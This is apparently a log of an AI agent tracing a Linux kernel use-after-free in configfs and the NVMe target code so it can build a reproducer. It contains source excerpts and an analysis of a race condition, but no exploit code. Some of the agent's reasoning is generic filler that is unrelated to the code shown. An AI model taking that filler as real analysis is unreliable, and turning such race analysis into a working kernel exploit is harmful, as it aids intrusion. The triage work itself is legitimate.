map[Fields:[map[Name:entry OffsetBits:0 SizeBits:128] map[Name:disc_addr OffsetBits:128 SizeBits:8192] map[Name:group OffsetBits:8320 SizeBits:1088] map[Name:subsys_group OffsetBits:9408 SizeBits:1088] map[Name:subsystems OffsetBits:10496 SizeBits:128] map[Name:referrals_group OffsetBits:10624 SizeBits:1088] map[Name:referrals OffsetBits:11712 SizeBits:128] map[Name:global_entry OffsetBits:11840 SizeBits:128] map[Name:ana_groups_group OffsetBits:11968 SizeBits:1088] map[Name:ana_default_group OffsetBits:13056 SizeBits:1216] map[Name:keyring OffsetBits:14272 SizeBits:64] map[Name:priv OffsetBits:14336 SizeBits:64] map[Name:enabled OffsetBits:14400 SizeBits:8] map[Name:inline_data_size OffsetBits:14432 SizeBits:32] map[Name:max_queue_size OffsetBits:14464 SizeBits:32] map[Name:mdts OffsetBits:14496 SizeBits:32] map[Name:tr_ops OffsetBits:14528 SizeBits:64] map[Name:pi_enable OffsetBits:14592 SizeBits:8] map[Name:ana_state OffsetBits:14624 SizeBits:0]]]

213/4 2026/08/26 18:28 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18720
							output: 27
							thoughts: 44
						

Thoughts:
**My Thought Process**

Okay, so I'm trying to understand the memory layout of this `struct config_group`. My current understanding is that the entire `group` structure, whatever it is, begins at a specific byte offset in memory – precisely 1040 bytes, or 8320 bits. Now, within this `struct config_group`, there's a member called `cg_item`. My immediate next question is: where does `cg_item` reside *within* the `struct config_group` itself? Is it sitting right at the very beginning, at offset 0 bytes relative to the start of `struct config_group`? That's what I need to confirm next. I'll have to go and examine the definition of `struct config_group` to verify this.


214/4 2026/08/26 18:28 tool codesearch-struct-layout
0m Args:
map[ContextFile: Name:config_group]

Results:
map[Fields:[map[Name:cg_item OffsetBits:0 SizeBits:640] map[Name:cg_children OffsetBits:640 SizeBits:128] map[Name:cg_subsys OffsetBits:768 SizeBits:64] map[Name:default_groups OffsetBits:832 SizeBits:128] map[Name:group_entry OffsetBits:960 SizeBits:128]]]

215/4 2026/08/26 18:28 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18859
							output: 30
							thoughts: 355
						

Thoughts:
**Understanding the UAF Discrepancy**

Initially, I was tracing a User-After-Free (UAF) vulnerability. My initial analysis suggested that if `parent->ci_parent` were `NULL`, the dereference of `port->subsystems` would occur at an address derived from `to_nvmet_port(NULL)`, which resolves to a negative value, ultimately leading to a NULL pointer dereference (page fault) rather than a KASAN UAF. This observation led me to strongly suspect that `parent->ci_parent` *couldn't* be `NULL` at the point of the UAF.

This discrepancy prompted me to re-examine the `unlink_obj` function. I realized that the crucial condition I was overlooking was the possibility of `item->ci_group` being `NULL` *before* the `list_del_init` and subsequent pointer nullifications. I know that for default groups, `item->ci_group` is established within `configfs_attach_group`. This is the key piece I need to investigate further to understand why the UAF is happening as a UAF and not a simple page fault.


216/4 2026/08/26 18:28 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:configfs_attach_group]

Results:
map[SourceCode: 891:	static int configfs_attach_group(struct config_item *item,
 892:					 struct dentry *dentry,
 893:					 struct configfs_fragment *frag)
 894:	{
 895:		int ret;
 896:		struct configfs_dirent *sd;
 897:	
 898:		ret = configfs_attach_item(item, dentry, frag);
 899:		if (!ret) {
 900:			sd = dentry->d_fsdata;
 901:			sd->s_type |= CONFIGFS_USET_DIR;
 902:	
 903:			/*
 904:			 * FYI, we're faking mkdir in populate_groups()
 905:			 * We must lock the group's inode to avoid races with the VFS
 906:			 * which can already hit the inode and try to add/remove entries
 907:			 * under it.
 908:			 *
 909:			 * We must also lock the inode to remove it safely in case of
 910:			 * error, as rmdir() would.
 911:			 */
 912:			inode_lock_nested(d_inode(dentry), I_MUTEX_CHILD);
 913:			configfs_adjust_dir_dirent_depth_before_populate(sd);
 914:			ret = populate_groups(to_config_group(item), frag);
 915:			if (ret) {
 916:				configfs_detach_group(dentry);
 917:				d_inode(dentry)->i_flags |= S_DEAD;
 918:				dont_mount(dentry);
 919:			}
 920:			configfs_adjust_dir_dirent_depth_after_populate(sd);
 921:			inode_unlock(d_inode(dentry));
 922:			if (ret)
 923:				d_delete(dentry);
 924:		}
 925:	
 926:		return ret;
 927:	}
 SourceFile:fs/configfs/dir.c]

217/4 2026/08/26 18:28 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19815
							output: 27
							thoughts: 9
						

Thoughts:
**My Thought Process Regarding `populate_groups`**

Alright, I need to dive into the `populate_groups` function. My primary objective here is to understand its complete functionality and ensure it aligns with our established architectural patterns and coding standards. I'll be meticulously examining its inputs, outputs, internal logic, and any potential side effects.

First, I'll scrutinize the function's signature. What arguments does it expect? What are their types? Are there any default values? Understanding these parameters is crucial for me to grasp how data flows into this function and what information it's intended to process. Equally important are the return types – what does `populate_groups` give back, and in what format? This will inform how other parts of the system will consume its results.

Next, I'll trace the execution flow within the function. I'll break down the code into logical blocks, paying close attention to conditional statements, loops, and any calls to other functions or modules. My aim is to build a clear mental model of the sequence of operations. I'll be looking for any inherent assumptions the function makes about the data it receives, and whether those assumptions are robust.

A significant part of my analysis will involve identifying and evaluating any dependencies. Does `populate_groups` rely on external data sources, specific configurations, or other services? If so, how are these dependencies managed? Are they injected, or are they hardcoded? I’ll be particularly vigilant about potential coupling issues that could make the function harder to test or maintain.

I'll also be considering the error handling strategy. How does `populate_groups` deal with invalid input, unexpected data, or external failures? Are errors caught and handled gracefully? Are exceptions thrown appropriately? My goal is to ensure that the function is resilient and provides clear feedback when things go wrong, preventing silent failures.

Furthermore, I'll be evaluating the function's performance characteristics. Are there any computationally intensive operations that could become bottlenecks? Are there opportunities for optimization, such as leveraging more efficient algorithms or data structures? Given my expertise, I’ll be looking for patterns that might indicate performance degradation under load.

Finally, I want to confirm that `populate_groups` adheres to our established coding conventions and best practices. This includes things like clear variable naming, consistent indentation, appropriate commenting, and adherence to any specific design patterns we employ. A clean and well-documented function is, in my experience, far less prone to bugs and easier for others to understand and modify.

In essence, my approach to checking `populate_groups` is about achieving a comprehensive understanding of its role, its mechanics, and its impact on the system as a whole, ensuring it's robust, efficient, and maintainable.


218/4 2026/08/26 18:28 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:populate_groups]

Results:
map[SourceCode: 734:	static int populate_groups(struct config_group *group,
 735:				   struct configfs_fragment *frag)
 736:	{
 737:		struct dentry *parent = group->cg_item.ci_dentry;
 738:		struct config_group *new_group;
 739:	
 740:		list_for_each_entry(new_group, &group->default_groups, group_entry) {
 741:			int ret = create_default_group(parent, new_group, frag);
 742:			if (ret)
 743:				return ret;
 744:		}
 745:		return 0;
 746:	}
 SourceFile:fs/configfs/dir.c]

219/4 2026/08/26 18:28 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 20056
							output: 29
							thoughts: 8
						

Thoughts:
**My Thought Process on `create_default_group`**

So, I'm looking at this `create_default_group` function. My immediate reaction is to understand its purpose: what is it *doing*? It seems like it's responsible for establishing some kind of baseline or initial group structure. The name itself, `create_default_group`, suggests it's not about dynamic group creation based on specific user inputs, but rather about setting up something standard, something that exists even before any explicit configuration happens.

I'm trying to connect this to the broader system. Where would such a default group be relevant? Perhaps it's a fallback for when no other groups are defined, or maybe it's a foundational group that all other entities or users inherit from, or are at least associated with by default. This implies a potential role in access control, resource allocation, or simply organizational hierarchy within the system.

Given my expertise, I'm immediately thinking about the implications. What are the security considerations here? If this is a default group, what permissions are associated with it? Is it overly permissive, potentially creating a security risk? Or is it too restrictive, hindering necessary functionality? I'd want to scrutinize the default permissions assigned to this group with extreme care.

Furthermore, I'm considering the lifecycle of this default group. Is it truly immutable, or can it be modified or even deleted? If it can be modified, how is that managed? Is there a process to prevent accidental or malicious changes? If it can be deleted, what are the consequences for entities or users currently associated with it? Does the system have mechanisms to handle such a situation gracefully, perhaps by reassigning them to another group or raising an error?

I'm also thinking about the implementation details. What data structures are being used to represent this default group? How is it stored and retrieved? Is it efficiently handled, especially if it's a frequently accessed entity?

Finally, I'm anticipating potential edge cases. What happens if `create_default_group` is called multiple times? Is there idempotency built in? Or will it lead to duplicate default groups, which would be problematic? Does it handle scenarios where the necessary underlying resources or configurations for creating a group are unavailable?

In essence, my thought process revolves around understanding the *what*, the *why*, and the *how* of `create_default_group`, always with an eye on its impact on security, system stability, and operational efficiency, given my deep understanding of these principles in my field.


220/4 2026/08/26 18:28 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:create_default_group]

Results:
map[SourceCode: 695:	/*
 696:	 * This fakes mkdir(2) on a default_groups[] entry.  It
 697:	 * creates a dentry, attachs it, and then does fixup
 698:	 * on the sd->s_type.
 699:	 *
 700:	 * We could, perhaps, tweak our parent's ->mkdir for a minute and
 701:	 * try using vfs_mkdir.  Just a thought.
 702:	 */
 703:	static int create_default_group(struct dentry *parent,
 704:					struct config_group *group,
 705:					struct configfs_fragment *frag)
 706:	{
 707:		int ret;
 708:		struct configfs_dirent *sd;
 709:		/* We trust the caller holds a reference to parent */
 710:		struct dentry *child;
 711:	
 712:		if (!group->cg_item.ci_name)
 713:			group->cg_item.ci_name = group->cg_item.ci_namebuf;
 714:	
 715:		ret = -ENOMEM;
 716:		child = d_alloc_name(parent, group->cg_item.ci_name);
 717:		if (child) {
 718:			d_add(child, NULL);
 719:	
 720:			ret = configfs_attach_group(&group->cg_item, child, frag);
 721:			if (!ret) {
 722:				sd = child->d_fsdata;
 723:				sd->s_type |= CONFIGFS_USET_DEFAULT;
 724:			} else {
 725:				BUG_ON(d_inode(child));
 726:				d_drop(child);
 727:			}
 728:			dput(child);
 729:		}
 730:	
 731:		return ret;
 732:	}
 SourceFile:fs/configfs/dir.c]

221/4 2026/08/26 18:28 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 20654
							output: 30
							thoughts: 48
						

Thoughts:
**My Thought Process Regarding `create_default_group` and its Dependencies**

Alright, so my initial understanding was that `create_default_group` would likely be a fairly comprehensive function, orchestrating the creation and integration of a new default group. However, as I'm digging into the code, I'm realizing that's not quite what's happening. My immediate thought is: "Wait, `create_default_group` does NOT call `link_group` or `link_obj`." This is a key observation because `link_group` and `link_obj` sound like they'd be responsible for the actual structural connections within the configuration filesystem hierarchy.

Instead, what I'm seeing is that `create_default_group`'s primary action is to call `configfs_attach_item`. This tells me that the responsibility for actually *attaching* the created group to its designated parent or location within the configfs structure falls to `configfs_attach_item`. This implies a modular design, where `create_default_group` handles the initial setup of the group's internal state and metadata, but defers the actual integration into the filesystem tree to another function.

My next step, therefore, is to follow this thread. If `create_default_group` isn't doing the linking, and `configfs_attach_item` is, then I need to understand precisely *how* `configfs_attach_item` performs that attachment. I need to "check `configfs_attach_item`" to see its implementation details. This will reveal the mechanism by which the default group is properly registered and made accessible within the configfs framework. I'm expecting to find logic there that handles parent-child relationships, naming, and the necessary filesystem node creation.


222/4 2026/08/26 18:29 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:configfs_attach_item]

Results:
map[SourceCode: 842:	/*
 843:	 * The goal is that configfs_attach_item() (and
 844:	 * configfs_attach_group()) can be called from either the VFS or this
 845:	 * module.  That is, they assume that the items have been created,
 846:	 * the dentry allocated, and the dcache is all ready to go.
 847:	 *
 848:	 * If they fail, they must clean up after themselves as if they
 849:	 * had never been called.  The caller (VFS or local function) will
 850:	 * handle cleaning up the dcache bits.
 851:	 *
 852:	 * configfs_detach_group() and configfs_detach_item() behave similarly on
 853:	 * the way out.  They assume that the proper semaphores are held, they
 854:	 * clean up the configfs items, and they expect their callers will
 855:	 * handle the dcache bits.
 856:	 */
 857:	static int configfs_attach_item(struct config_item *item,
 858:					struct dentry *dentry,
 859:					struct configfs_fragment *frag)
 860:	{
 861:		int ret;
 862:	
 863:		ret = configfs_create_dir(item, dentry, frag);
 864:		if (!ret) {
 865:			ret = populate_attrs(item);
 866:			if (ret) {
 867:				/*
 868:				 * We are going to remove an inode and its dentry but
 869:				 * the VFS may already have hit and used them. Thus,
 870:				 * we must lock them as rmdir() would.
 871:				 */
 872:				inode_lock(d_inode(dentry));
 873:				configfs_detach_item(dentry);
 874:				d_inode(dentry)->i_flags |= S_DEAD;
 875:				dont_mount(dentry);
 876:				inode_unlock(d_inode(dentry));
 877:				d_delete(dentry);
 878:			}
 879:		}
 880:	
 881:		return ret;
 882:	}
 SourceFile:fs/configfs/dir.c]

223/4 2026/08/26 18:29 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 21373
							output: 29
							thoughts: 24
						

Thoughts:
**My Thought Process:**

I'm currently working through some code and a question has popped into my head: I need to understand how the `ci_parent` field of an `item` structure is being populated. I'm going to track this down by searching the codebase for all instances of `ci_parent` to see where and under what conditions it gets assigned a value. This will help me build a complete picture of the data flow and dependencies related to this particular field.


224/4 2026/08/26 18:29 tool grepper
0m Args:
map[Expression:ci_parent = PathPrefix:fs/configfs/]

Results:
map[Output:fs/configfs/dir.c=764=static void unlink_obj(struct config_item *item)
--
fs/configfs/dir.c-772-		item->ci_group = NULL;
fs/configfs/dir.c:773:		item->ci_parent = NULL;
fs/configfs/dir.c-774-
--
fs/configfs/dir.c=783=static void link_obj(struct config_item *parent_item, struct config_item *item)
--
fs/configfs/dir.c-788-	 */
fs/configfs/dir.c:789:	item->ci_parent = parent_item;
fs/configfs/dir.c-790-
]

225/4 2026/08/26 18:29 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 21606
							output: 28
							thoughts: 33
						

Thoughts:
**My Thought Process Regarding `link_obj` and `item->ci_parent`**

Okay, so I've just encountered this line: `link_obj` sets `item->ci_parent = parent_item`. My immediate instinct, as someone who needs to understand the flow and implications of this code, is to trace the origin of `link_obj`. I need to know *when* and *why* this specific assignment is happening. Therefore, my next logical step is to meticulously examine all the call sites of the `link_obj` function. I want to understand the context in which this parent-child relationship is being established. Is it part of an initialization sequence? A dynamic linking process? What are the conditions that lead to this particular `item` getting this `parent_item` assigned as its parent? This investigation is crucial for me to grasp the overall architecture and how components are interconnected.


226/4 2026/08/26 18:29 tool grepper
0m Args:
map[Expression:link_obj PathPrefix:fs/configfs/]

Results:
map[Output:fs/configfs/dir.c=35=DEFINE_SPINLOCK(configfs_dirent_lock);
--
fs/configfs/dir.c-37-/*
fs/configfs/dir.c:38: * All of link_obj/unlink_obj/link_group/unlink_group require that
fs/configfs/dir.c-39- * subsys->su_mutex is held.
--
fs/configfs/dir.c=757=EXPORT_SYMBOL(configfs_remove_default_groups);
--
fs/configfs/dir.c-759-/*
fs/configfs/dir.c:760: * All of link_obj/unlink_obj/link_group/unlink_group require that
fs/configfs/dir.c-761- * subsys->su_mutex is held.
--
fs/configfs/dir.c-763-
fs/configfs/dir.c:764:static void unlink_obj(struct config_item *item)
fs/configfs/dir.c-765-{
--
fs/configfs/dir.c-782-
fs/configfs/dir.c:783:static void link_obj(struct config_item *parent_item, struct config_item *item)
fs/configfs/dir.c-784-{
--
fs/configfs/dir.c=805=static void unlink_group(struct config_group *group)
--
fs/configfs/dir.c-812-	group->cg_subsys = NULL;
fs/configfs/dir.c:813:	unlink_obj(&group->cg_item);
fs/configfs/dir.c-814-}
--
fs/configfs/dir.c=816=static void link_group(struct config_group *parent_group, struct config_group *group)
--
fs/configfs/dir.c-820-
fs/configfs/dir.c:821:	link_obj(&parent_group->cg_item, &group->cg_item);
fs/configfs/dir.c-822-
--
fs/configfs/dir.c=1289=static struct dentry *configfs_mkdir(struct mnt_idmap *idmap, struct inode *dir,
--
fs/configfs/dir.c-1372-		if (!IS_ERR(item))
fs/configfs/dir.c:1373:			link_obj(parent_item, item);
fs/configfs/dir.c-1374-		else
--
fs/configfs/dir.c-1380-		/*
fs/configfs/dir.c:1381:		 * If ret != 0, then link_obj() was never called.
fs/configfs/dir.c-1382-		 * There are no extra references to clean up.
--
fs/configfs/dir.c-1387-	/*
fs/configfs/dir.c:1388:	 * link_obj() has been called (via link_group() for groups).
fs/configfs/dir.c-1389-	 * From here on out, errors must clean that up.
--
fs/configfs/dir.c-1441-		else
fs/configfs/dir.c:1442:			unlink_obj(item);
fs/configfs/dir.c-1443-		client_drop_item(parent_item, item);
--
fs/configfs/dir.c-1456-	/*
fs/configfs/dir.c:1457:	 * link_obj()/link_group() took a reference from child->parent,
fs/configfs/dir.c-1458-	 * so the parent is safely pinned.  We can drop our working
--
fs/configfs/dir.c=1469=static int configfs_rmdir(struct inode *dir, struct dentry *dentry)
--
fs/configfs/dir.c-1563-		client_disconnect_notify(parent_item, item);
fs/configfs/dir.c:1564:		unlink_obj(item);
fs/configfs/dir.c-1565-	}
]

227/4 2026/08/26 18:29 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 22710
							output: 28
							thoughts: 56
						

Thoughts:
**A Deep Dive into Link Group Creation**

My initial thought process centers on understanding the flow of how link groups are established. I've observed that the `link_group` function is indeed the one that ultimately invokes `link_obj`. This is crucial because it suggests a hierarchical structure where a group is defined, and then the individual links within that group are managed.

What's particularly interesting to me is the context in which `link_group` is being called. My current understanding is that it's invoked from `configfs_mkdir`, specifically when a user is creating these groups themselves. This is a direct, user-initiated action.

However, this leads me to a critical question: what about the default groups? Are they created through the same mechanism? Do they also rely on `link_group` being called from `configfs_mkdir`? To fully grasp the system's behavior, I need to trace every instance where `link_group` is utilized. My next step, therefore, is to meticulously examine all call sites of `link_group` to ensure I haven't overlooked any pathways, especially those that might pertain to system-level or pre-configured group setups, as opposed to solely user-driven ones.


228/4 2026/08/26 18:29 tool grepper
0m Args:
map[Expression:link_group PathPrefix:fs/configfs/]

Results:
map[Output:fs/configfs/dir.c=35=DEFINE_SPINLOCK(configfs_dirent_lock);
--
fs/configfs/dir.c-37-/*
fs/configfs/dir.c:38: * All of link_obj/unlink_obj/link_group/unlink_group require that
fs/configfs/dir.c-39- * subsys->su_mutex is held.
--
fs/configfs/dir.c=757=EXPORT_SYMBOL(configfs_remove_default_groups);
--
fs/configfs/dir.c-759-/*
fs/configfs/dir.c:760: * All of link_obj/unlink_obj/link_group/unlink_group require that
fs/configfs/dir.c-761- * subsys->su_mutex is held.
--
fs/configfs/dir.c=783=static void link_obj(struct config_item *parent_item, struct config_item *item)
--
fs/configfs/dir.c-804-
fs/configfs/dir.c:805:static void unlink_group(struct config_group *group)
fs/configfs/dir.c-806-{
--
fs/configfs/dir.c-809-	list_for_each_entry(new_group, &group->default_groups, group_entry)
fs/configfs/dir.c:810:		unlink_group(new_group);
fs/configfs/dir.c-811-
--
fs/configfs/dir.c-815-
fs/configfs/dir.c:816:static void link_group(struct config_group *parent_group, struct config_group *group)
fs/configfs/dir.c-817-{
--
fs/configfs/dir.c-831-	list_for_each_entry(new_group, &group->default_groups, group_entry)
fs/configfs/dir.c:832:		link_group(group, new_group);
fs/configfs/dir.c-833-}
--
fs/configfs/dir.c=1289=static struct dentry *configfs_mkdir(struct mnt_idmap *idmap, struct inode *dir,
--
fs/configfs/dir.c-1363-		if (!IS_ERR(group)) {
fs/configfs/dir.c:1364:			link_group(to_config_group(parent_item), group);
fs/configfs/dir.c-1365-			item = &group->cg_item;
--
fs/configfs/dir.c-1387-	/*
fs/configfs/dir.c:1388:	 * link_obj() has been called (via link_group() for groups).
fs/configfs/dir.c-1389-	 * From here on out, errors must clean that up.
--
fs/configfs/dir.c-1439-		if (group)
fs/configfs/dir.c:1440:			unlink_group(group);
fs/configfs/dir.c-1441-		else
--
fs/configfs/dir.c-1456-	/*
fs/configfs/dir.c:1457:	 * link_obj()/link_group() took a reference from child->parent,
fs/configfs/dir.c-1458-	 * so the parent is safely pinned.  We can drop our working
--
fs/configfs/dir.c=1469=static int configfs_rmdir(struct inode *dir, struct dentry *dentry)
--
fs/configfs/dir.c-1557-		client_disconnect_notify(parent_item, item);
fs/configfs/dir.c:1558:		unlink_group(to_config_group(item));
fs/configfs/dir.c-1559-	} else {
--
fs/configfs/dir.c=1751=int configfs_register_group(struct config_group *parent_group,
--
fs/configfs/dir.c-1763-	mutex_lock(&subsys->su_mutex);
fs/configfs/dir.c:1764:	link_group(parent_group, group);
fs/configfs/dir.c-1765-	mutex_unlock(&subsys->su_mutex);
--
fs/configfs/dir.c-1782-	mutex_lock(&subsys->su_mutex);
fs/configfs/dir.c:1783:	unlink_group(group);
fs/configfs/dir.c-1784-	mutex_unlock(&subsys->su_mutex);
--
fs/configfs/dir.c=1796=void configfs_unregister_group(struct config_group *group)
--
fs/configfs/dir.c-1822-	mutex_lock(&subsys->su_mutex);
fs/configfs/dir.c:1823:	unlink_group(group);
fs/configfs/dir.c-1824-	mutex_unlock(&subsys->su_mutex);
--
fs/configfs/dir.c=1872=int configfs_register_subsystem(struct configfs_subsystem *subsys)
--
fs/configfs/dir.c-1895-	mutex_lock(&configfs_subsystem_mutex);
fs/configfs/dir.c:1896:	link_group(to_config_group(sd->s_element), group);
fs/configfs/dir.c-1897-	mutex_unlock(&configfs_subsystem_mutex);
--
fs/configfs/dir.c-1924-		mutex_lock(&configfs_subsystem_mutex);
fs/configfs/dir.c:1925:		unlink_group(group);
fs/configfs/dir.c-1926-		mutex_unlock(&configfs_subsystem_mutex);
--
fs/configfs/dir.c=1934=void configfs_unregister_subsystem(struct configfs_subsystem *subsys)
--
fs/configfs/dir.c-1973-	mutex_lock(&configfs_subsystem_mutex);
fs/configfs/dir.c:1974:	unlink_group(group);
fs/configfs/dir.c-1975-	mutex_unlock(&configfs_subsystem_mutex);
]

229/4 2026/08/26 18:29 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 24401
							output: 29
							thoughts: 316
						

Thoughts:
**The Recursive Nature of `link_group` and Potential Race Conditions**

My initial observation centers on the `link_group` function and its recursive calls. I see that `link_group` is designed to recursively process `default_groups`. This means that if a group has default subgroups defined, `link_group` will indeed link those default groups as well. My understanding is then confirmed: `link_group` *does* link default groups.

Consequently, I deduce that `unlink_group` must perform the inverse operation, unlinking these default groups. My immediate thought here is about the implications of this unlinking. Specifically, if `unlink_group` unlinks the default groups, it calls `unlink_obj` on them, which in turn sets the `item->ci_parent` pointer to `NULL`.

This leads me to a potential concern regarding concurrency. I note that `unlink_group` is invoked within `configfs_rmdir`, and crucially, this happens while the `subsys->su_mutex` is held. This mutex protection seems appropriate to prevent races during the removal of a directory.

However, my attention is then drawn to `configfs_symlink`. It appears that `configfs_symlink` does *not* hold the `subsys->su_mutex`. This is where a significant red flag goes up in my mind. The fact that `configfs_symlink` calls `allow_link` *without* holding the `subsys->su_mutex` is particularly striking. If `allow_link`, or any function called by `configfs_symlink` that interacts with group linking, can operate concurrently with `unlink_group` (which *is* holding the mutex), then there's a clear potential for a race condition.

This divergence in mutex usage between `unlink_group` and `configfs_symlink` suggests a vulnerability where a symlink operation might occur at an inopportune moment, potentially leading to inconsistent state, especially concerning the parent pointers of linked default groups. I need to examine `configfs_symlink` more closely to understand precisely how `allow_link` is used and what impact this lack of mutex protection could have.


230/4 2026/08/26 18:29 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:configfs_symlink]

Results:
map[SourceCode: 135:	int configfs_symlink(struct mnt_idmap *idmap, struct inode *dir,
 136:			     struct dentry *dentry, const char *symname)
 137:	{
 138:		int ret;
 139:		struct configfs_dirent *sd;
 140:		struct config_item *parent_item;
 141:		struct config_item *target_item = NULL;
 142:		const struct config_item_type *type;
 143:	
 144:		sd = dentry->d_parent->d_fsdata;
 145:		/*
 146:		 * Fake invisibility if dir belongs to a group/default groups hierarchy
 147:		 * being attached
 148:		 */
 149:		if (!configfs_dirent_is_ready(sd))
 150:			return -ENOENT;
 151:	
 152:		parent_item = configfs_get_config_item(dentry->d_parent);
 153:		type = parent_item->ci_type;
 154:	
 155:		ret = -EPERM;
 156:		if (!type || !type->ct_item_ops ||
 157:		    !type->ct_item_ops->allow_link)
 158:			goto out_put;
 159:	
 160:		/*
 161:		 * This is really sick.  What they wanted was a hybrid of
 162:		 * link(2) and symlink(2) - they wanted the target resolved
 163:		 * at syscall time (as link(2) would've done), be a directory
 164:		 * (which link(2) would've refused to do) *AND* be a deep
 165:		 * fucking magic, making the target busy from rmdir POV.
 166:		 * symlink(2) is nothing of that sort, and the locking it
 167:		 * gets matches the normal symlink(2) semantics.  Without
 168:		 * attempts to resolve the target (which might very well
 169:		 * not even exist yet) done prior to locking the parent
 170:		 * directory.  This perversion, OTOH, needs to resolve
 171:		 * the target, which would lead to obvious deadlocks if
 172:		 * attempted with any directories locked.
 173:		 *
 174:		 * Unfortunately, that garbage is userland ABI and we should've
 175:		 * said "no" back in 2005.  Too late now, so we get to
 176:		 * play very ugly games with locking.
 177:		 *
 178:		 * Try *ANYTHING* of that sort in new code, and you will
 179:		 * really regret it.  Just ask yourself - what could a BOFH
 180:		 * do to me and do I want to find it out first-hand?
 181:		 *
 182:		 *  AV, a thoroughly annoyed bastard.
 183:		 */
 184:		inode_unlock(dir);
 185:		ret = get_target(symname, &target_item, dentry->d_sb);
 186:		inode_lock(dir);
 187:		if (ret)
 188:			goto out_put;
 189:	
 190:		if (dentry->d_inode || d_unhashed(dentry))
 191:			ret = -EEXIST;
 192:		else
 193:			ret = inode_permission(&nop_mnt_idmap, dir,
 194:					       MAY_WRITE | MAY_EXEC);
 195:		if (!ret)
 196:			ret = type->ct_item_ops->allow_link(parent_item, target_item);
 197:		if (!ret) {
 198:			mutex_lock(&configfs_symlink_mutex);
 199:			ret = create_link(parent_item, target_item, dentry);
 200:			mutex_unlock(&configfs_symlink_mutex);
 201:			if (ret && type->ct_item_ops->drop_link)
 202:				type->ct_item_ops->drop_link(parent_item,
 203:							     target_item);
 204:		}
 205:	
 206:		config_item_put(target_item);
 207:	
 208:	out_put:
 209:		config_item_put(parent_item);
 210:		return ret;
 211:	}
 SourceFile:fs/configfs/symlink.c]

231/4 2026/08/26 18:29 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 25999
							output: 30
							thoughts: 293
						

Thoughts:
**The Concurrency Puzzle: Navigating `configfs_symlink` and `unlink_group`**

I've been wrestling with a rather intricate concurrency issue within the `configfs` framework, specifically concerning the interplay between `configfs_symlink` and `unlink_group`. My initial realization was that `configfs_symlink` doesn't acquire `subsys->su_mutex` when it calls `allow_link`. This immediately signals a potential race condition, as `unlink_group` could indeed execute concurrently with `allow_link`.

This concurrent execution led me down a path of considering how `unlink_group` might corrupt shared state. My focus zeroed in on the possibility that `unlink_group`, in its process of unlinking an object, might set `item->ci_parent` to `NULL`. If this happened, it would imply that `parent->ci_parent` could also become `NULL`. However, this hypothesis was quickly challenged by the nature of the crash itself: a KASAN Use-After-Free (UAF) on a slab object, not a simple NULL pointer dereference. This discrepancy strongly suggests that `parent->ci_parent` *is not* `NULL` at the point of the UAF.

The persistent question then became: why is `parent->ci_parent` not `NULL`? What mechanism prevents this `NULL` assignment when `unlink_group` seems poised to do so? My investigation pointed back to the implementation of `unlink_group`. I observed that the function iterates over `group->default_groups` to recursively call `unlink_group` on child groups. This struck me as particularly relevant.

A crucial insight emerged when I considered the `subsystems` group. This group is a default group of `port`. The question then became: is this `subsystems` group, in fact, present within `port->group.default_groups`? To answer this, I'm now examining the `nvmet_port_make` function, hoping to trace the initialization and population of these `default_groups` lists and understand how the `subsystems` group is integrated, which should clarify why `parent->ci_parent` remains valid in the face of concurrent unlinking.


232/4 2026/08/26 18:29 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:nvmet_ports_make]

Results:
map[SourceCode:2041:	static struct config_group *nvmet_ports_make(struct config_group *group,
2042:			const char *name)
2043:	{
2044:		struct nvmet_port *port;
2045:		u16 portid;
2046:		u32 i;
2047:	
2048:		if (kstrtou16(name, 0, &portid))
2049:			return ERR_PTR(-EINVAL);
2050:	
2051:		port = kzalloc_flex(*port, ana_state, NVMET_MAX_ANAGRPS + 1);
2052:		if (!port)
2053:			return ERR_PTR(-ENOMEM);
2054:	
2055:		if (IS_ENABLED(CONFIG_NVME_TARGET_TCP_TLS) && nvme_keyring_id()) {
2056:			port->keyring = key_lookup(nvme_keyring_id());
2057:			if (IS_ERR(port->keyring)) {
2058:				pr_warn("NVMe keyring not available, disabling TLS\n");
2059:				port->keyring = NULL;
2060:			}
2061:		}
2062:	
2063:		for (i = 1; i <= NVMET_MAX_ANAGRPS; i++) {
2064:			if (i == NVMET_DEFAULT_ANA_GRPID)
2065:				port->ana_state[1] = NVME_ANA_OPTIMIZED;
2066:			else
2067:				port->ana_state[i] = NVME_ANA_INACCESSIBLE;
2068:		}
2069:	
2070:		list_add(&port->global_entry, &nvmet_ports_list);
2071:	
2072:		INIT_LIST_HEAD(&port->entry);
2073:		INIT_LIST_HEAD(&port->subsystems);
2074:		INIT_LIST_HEAD(&port->referrals);
2075:		port->inline_data_size = -1;	/* < 0 == let the transport choose */
2076:		port->max_queue_size = -1;	/* < 0 == let the transport choose */
2077:		port->mdts = -1;		/* < 0 == let the transport choose */
2078:	
2079:		port->disc_addr.trtype = NVMF_TRTYPE_MAX;
2080:		port->disc_addr.portid = cpu_to_le16(portid);
2081:		port->disc_addr.adrfam = NVMF_ADDR_FAMILY_MAX;
2082:		port->disc_addr.treq = NVMF_TREQ_DISABLE_SQFLOW;
2083:		config_group_init_type_name(&port->group, name, &nvmet_port_type);
2084:	
2085:		config_group_init_type_name(&port->subsys_group,
2086:				"subsystems", &nvmet_port_subsys_type);
2087:		configfs_add_default_group(&port->subsys_group, &port->group);
2088:	
2089:		config_group_init_type_name(&port->referrals_group,
2090:				"referrals", &nvmet_referrals_type);
2091:		configfs_add_default_group(&port->referrals_group, &port->group);
2092:	
2093:		config_group_init_type_name(&port->ana_groups_group,
2094:				"ana_groups", &nvmet_ana_groups_type);
2095:		configfs_add_default_group(&port->ana_groups_group, &port->group);
2096:	
